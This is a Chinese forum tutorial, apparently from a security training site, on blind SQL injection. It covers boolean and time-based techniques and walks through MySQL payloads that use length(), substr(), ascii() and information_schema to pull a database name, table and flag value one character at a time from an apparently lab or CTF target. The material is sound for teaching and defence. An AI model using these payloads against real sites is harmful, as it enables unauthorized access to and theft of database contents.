有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就是没有了之前的报错信息。
界面返回值只有一种,Ture无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看Web页面返回的时间差来判断注入的语句是否正确。
if(条件,条件成立执行,条件不成立执行)
第一位显示的是我们的条件
第二位是我们的条件成立后所执行的结果
第三位是我们条件不成立所执行的结果
and (length(database()))>9#
and (ascii(substr(database(),1,1)))=107
返回正常,说明数据库名称第一位是k
and substr(database(),1,1)='k'
返回正常,说明数据库名称第二位是k
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
返回正常,说明当前数据库第一个表长度是6
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia
' limit 0,1),1,1)='l'
返回正常,说明数据库表名的第一个的第一位是l
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'
返回正常,说明loflag表中的列名称第一位是i
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122
返回正常,说明zKaQ列第一位是z
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
杰斯 | 0.00 | 20 | 2022-03-11 21:09:49 | 一个受益终生的帖子~~ |
杰斯 | 0.00 | 20 | 2022-03-11 21:09:45 | 一个受益终生的帖子~~ |
杰斯 | 0.00 | 20 | 2022-03-11 21:09:41 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.